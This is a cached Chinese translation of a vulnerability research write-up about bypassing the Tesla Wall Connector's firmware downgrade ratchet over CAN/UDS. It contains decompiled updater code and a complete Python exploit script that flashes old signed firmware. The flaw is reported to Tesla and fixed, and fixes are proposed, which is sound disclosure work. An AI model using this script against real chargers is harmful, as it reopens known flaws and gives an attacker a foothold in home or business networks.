Tesla Wall Connector 引导程序绕过固件降级棘轮
摘要
本文详细介绍了研究人员如何绕过 Tesla Wall Connector 引导程序中的固件降级保护,从而能够在存在安全棘轮的情况下安装旧版固件。
暂无内容
查看缓存全文
缓存时间: 2026/05/14 21:27
# 从充电接口利用特斯拉壁挂式充电器 - 来源:https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector-part-2-bypassing
## 更新流程快速回顾
我们在第一篇文章(https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector)中描述了通过单线 CAN 的完整更新流程。简而言之:
1. 打开 UDS 会话(类型 `2`)。
2. 使用安全访问(等级 `5`,XOR-`0x35` 算法)进行身份验证。
3. 运行例程 `0xFF00` 来准备并擦除被动插槽。
4. 向标识符 `0x102` 写入 `0x0E`,将插槽标记为“可通过 UDS 设置”。
5. 使用 `Request Download` / `Transfer Data` / `Request Transfer Exit` 推送固件。
6. 运行例程 `0x201` 验证刚写入的镜像并切换插槽。
7. 运行例程 `0x202` 重新启动。
提醒一下,AW-CU300 使用两个固件插槽:一个**活动**(当前运行)和一个**被动**(更新目标)。成功更新后,插槽交换,新固件在下次启动时变为活动。
## 24.44.3 版本的变化
在对比旧固件与版本 `24.44.3` 的差异后,我们重点关注了 `switch_to_new_firmware()`,即处理 UDS 例程 `0x201` 的函数:
```c
int switch_to_new_firmware() {
...
if ( settable_via_uds != 14 || !passive_firmware )
return 1;
if ( passive <= 0 || passive > passive_firmware->size ||
(v2 = check_signature(passive_firmware->start, passive)) != 0 ||
!check_image_and_antidowngrade(nullptr) )
{
part_erase(flash_drv, passive_firmware->start, 0x14u);
v2 = 4;
} else {
part_write_layout(passive_firmware);
}
flash_drv_close(flash_drv);
passive_firmware = nullptr;
return v2;
}
```
`check_image_and_antidowngrade()` 是新函数。它解析固件段,重新计算它们的 CRC,然后调用 `verify_firmware_segments_platform()` 进行棘轮比较:
```c
int verify_firmware_segments_platform(int flash_drv, u32_t *segments, ...) {
...
// 遍历段,查找版本描述符
// 段结束于 [0x100000 .. 0x100010] 窗口内。
...
if ( buffer.next != (netif *)'NSRV' /* "VRSN" */ )
goto next_segment;
major = LOBYTE(buffer.ip_addr.addr);
minor = BYTE1(buffer.ip_addr.addr);
if ( buffer.netmask.addr == '2SRV' /* "VRS2" */ &&
LOBYTE(buffer.gw.addr) > 1u )
firmware_ratchet = BYTE2(buffer.gw.addr);
else
firmware_ratchet = 0;
...
sub_1F04866C(¤t_ratchet); // 从 PSM(持久存储)读取棘轮值
if ( current_ratchet <= firmware_ratchet ||
!call_psm_wrapper(...) ) {
return 0; // 接受
}
log("Failure: Security ratchet downgrade prevented %d < %d", firmware_ratchet, current_ratchet);
return -1;
}
```
版本信息嵌入在固件段中(`VRSN` 表示版本,`VRS2` 表示棘轮),位于加载到 `0x100000` 附近的段中。只有更新程序解析此信息,引导加载器不解析。在设备端,棘轮值存储在 PSM(持久存储管理器)中,当激活更高棘轮镜像时递增。因此,在 `24.44.3` 设备上,发送旧的 `0.8.58` 固件并调用例程 `0x201` 会以以下错误终止:
```
ERROR verify_firmware_segments_platform:145 Failure: Security ratchet downgrade prevented 0 < N
```
并且插槽会立即被擦除。通过官方路径无法在闪存中保留旧镜像。
## 引导加载器不关心
`boot2`(在构建产物中如此称呼)位于闪存的固定地址,并且**不是**特斯拉发布的任何固件更新的一部分。我们必须从之前通过 Pwn2Own 漏洞获得 root 权限的充电器中转储闪存以进行分析。它在跳转到活动固件之前确实对其执行了几项检查:
- 魔术头(`SBFH`)。
- 每段 CRC32。
- 针对密钥库中的密钥进行 RSA 签名。
但它**没有安全棘轮的概念**。任何具有有效签名和正确 CRC 的固件镜像都会执行,无论其版本如何。`boot2` 和启动 ROM 都没有实现安全启动。因此,防降级仅由一段代码 `switch_to_new_firmware()` 在执行例程 `0x201` 时强制执行。那么:我们能否在不调用例程 `0x201` 的情况下,将旧的、已签名的固件放入**活动**插槽?
## 插槽如何变为活动
例程 `0xFF00` 调用 `prepare_passive_slot()`,该函数根据当前启动标志选择哪个物理插槽是“被动”的,然后将其擦除:
```c
int prepare_passive_slot(int a1, int a2, int a3) {
partition_entry *f1, *f2;
int16_t v7 = 0;
if ( part_read_layout(a1, a2, a3) ||
(f1 = part_get_layout_by_id(1, &v7),
f2 = part_get_layout_by_id(1, &v7),
!f1) || !f2 )
{
passive_firmware = nullptr;
__und(0xFFu);
}
if ( (g_boot_flags & 3) != 0 ) // 我们从插槽 1 启动?
f2 = f1; // 那么被动插槽是插槽 0
passive_firmware = f2;
...
if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 )
...
return 0;
}
```
`part_get_layout_by_id()` 基于迭代器:第一次调用返回 id 为 1 的第一个分区条目,第二次调用返回下一个。根据 `g_boot_flags`,其中一个成为被动。关键点:`g_boot_flags` **在启动时设置,并且永远不会更新**。它反映我们从哪个插槽启动,而不是分区表的当前状态。`part_write_layout()` 进行插槽翻转,但不接触固件数据。它只通过增加每个插槽的世代计数器来重写分区表:
```c
int part_write_layout(partition_entry *a1) {
...
if ( /* a1 matches f1 */ )
v3->gen_level = v4->gen_level + 1;
else if ( /* a1 matches f2 */ )
v4->gen_level = v3->gen_level + 1;
else
return -23;
// 擦除并重写 4KiB 分区表区域
part_erase(v8, partition_table_addr, 0x1000);
flash_write(v8, &dword_129B7C, 16);
flash_write(v8, byte_1299FC, 24 * word_129B82);
flash_write(v8, &checksum, 4);
...
}
```
启动时,引导加载器选择 `gen_level` 最高的插槽。因此,要使一个插槽在下次启动时成为活动,只需对该插槽成功调用一次 `part_write_layout()` 即可。之后它的内容如何并不重要。
## 绕过方法
回顾一下:例程 `0xFF00` 根据 `g_boot_flags`(会话期间从不更改)擦除物理被动插槽;例程 `0x201` 验证插槽内容并写入分区布局;引导加载器信任分区表而不检查棘轮。基于此:
1. 向被动插槽发送一个**有效的**、最新的固件。调用例程 `0x201`。验证通过;分区布局被写入,因此该插槽现在具有最高的 `gen_level`。
2. 不重启,再次调用例程 `0xFF00`。由于 `g_boot_flags` 未更改,相同的物理插槽被选为**被动**,我们刚刚验证的固件被擦除。分区表不受影响。
3. 向现在空的插槽发送一个**旧的**、已签名但易受攻击的固件。
4. 完全跳过例程 `0x201`(我们不需要它,而且它会拒绝该镜像)。直接调用例程 `0x202` 重启。
重启后,引导加载器读取分区表,选择 `gen_level` 最高的插槽(即我们刚刚覆写的那一个),验证其签名(仍然有效,因为它是正确签名的固件),然后跳转进入。防降级检查从未在旧镜像上运行。
## 漏洞利用
我们的漏洞利用是 Pwn2Own 汽车模拟器的一个小扩展。单线 CAN 设置、GPIO 序列、UDS 管道:全部不变。只有更新序列被翻倍:
```python
with Client(conn, config=uds_config) as client:
client.set_config('security_algo', tesla_uds_algo)
client.change_session(2)
client.unlock_security_access(5)
# 1. 推送一个有效的、最新的固件,让例程 0x201
# 为我们写入分区布局。
client.routine_control(routine_id=0xFF00, control_type=1)
client.write_data_by_identifier(0x102, 0x0E)
data = open("firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read()
send_firmware_data(client, data)
client.routine_control(routine_id=0x201, control_type=1) # 写入布局
sleep(1)
# 2. 重新准备相同的物理插槽。有效的固件被擦除;
# 分区表未被触及。
client.routine_control(routine_id=0xFF00, control_type=1)
client.write_data_by_identifier(0x102, 0x0E)
data = open("firmwares/WC3_PROD_OTA_08.58.bin","rb").read()
send_firmware_data(client, data)
sleep(1)
# 3. 重启。引导加载器将启动旧固件,因为
# 分区表仍然说这个插槽是活动插槽。
client.routine_control(routine_id=0x202, control_type=1)
```
总运行时间大约为 30 分钟(在 33.3 kbps 的 SWCAN 总线上):比原始 Pwn2Own 时间多一倍,因为需要通过电缆发送两个完整的固件镜像。重启后,版本 `0.8.58` 重新掌管,原始攻击链的其余部分(通过 UDS 泄露 Wi-Fi 凭证、telnet 到调试 shell、参数解析器中的缓冲区溢出)与之前完全相同。
## 结论
由于防降级仅存在于更新程序中,而引导加载器不检查棘轮,任何先提交分区布局然后覆写插槽内容的序列都能绕过它。例程 `0xFF00` 让我们正好做到这一点:在布局写入后擦除固件,然后写入我们想要的任何内容。在引导加载器中强制执行棘轮将弥补这一漏洞。其他选项:让例程 `0xFF00` 在擦除插槽时使分区布局条目无效,这样被擦除然后重写的插槽永远不会被选为可启动。或者强制在成功更新后重启,或者在例程 `0x201` 成功后拒绝任何新的更新会话。
我们向特斯拉报告了此漏洞,它在几个月前的固件更新中已修复。与第一篇文章一样,壁挂式充电器通常位于家庭或企业网络,通过充电电缆被攻陷的充电器将成为该网络内的一个立足点。好的一面是,特斯拉对连接的充电器自动进行 OTA 部署,这意味着修复程序能迅速到达大多数设备,从而缩短了实际暴露窗口。
相似文章
HDD固件破解 第一部分
作者详细描述了如何通过硬件和软件技术,在没有AI辅助的情况下,对HDD固件进行转储、分析和修改,以实现Xbox 360的延迟利用。
特斯拉因车轮可能脱落召回其更便宜的Cybertruck
特斯拉正在召回其更便宜的后驱版Cybertruck Long Range,原因是刹车转子存在缺陷,可能导致车轮脱落,此次召回涉及已售出的全部173辆车;公司将免费更换部件。
从我的2024款RAV4混动版上移除调制解调器和GPS
一份详细指南,介绍如何从2024款RAV4混动版上物理移除调制解调器和GPS以停止遥测数据收集,并讨论其中的权衡与步骤。
VMC2040安全摄像头的Root操作
本篇博客文章是系列教程的第一部分,内容涵盖硬件检查、UART发现以及初始Bootloader分析,目标是对Arlo VMC2040安全摄像头进行Root操作。
Microsoft BitLocker – YellowKey零日漏洞利用
一名安全研究人员发布了名为YellowKey的零日漏洞利用,可绕过Windows 11和Windows Server 2022/2025上的Microsoft BitLocker加密,通过USB闪存驱动器即可完全访问锁定驱动器;该漏洞似乎以后门的方式运作,使用后相关文件会消失。